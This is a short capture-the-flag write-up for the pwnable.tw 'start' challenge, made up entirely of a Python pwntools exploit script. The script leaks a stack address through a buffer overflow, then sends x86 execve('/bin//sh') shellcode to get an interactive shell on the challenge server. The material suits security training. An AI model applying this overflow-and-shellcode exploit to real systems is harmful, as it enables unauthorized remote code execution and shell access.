[pwnable.tw] start write-up

from pwn import *

#s = process("./start")

s = remote('chall.pwnable.tw', 10000)

context.log_level = 'debug'

s.recv()

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

payload = "A"*20

payload += p32(0x8048087)

#payload += p32(0x8048060)

s.send(payload)

leak_stack=u32(s.recv(4))

log.success(hex(leak_stack))

payload = "A"*20

payload += p32(leak_stack+20)

payload += shellcode

s.recv()

s.send(payload)

s.interactive()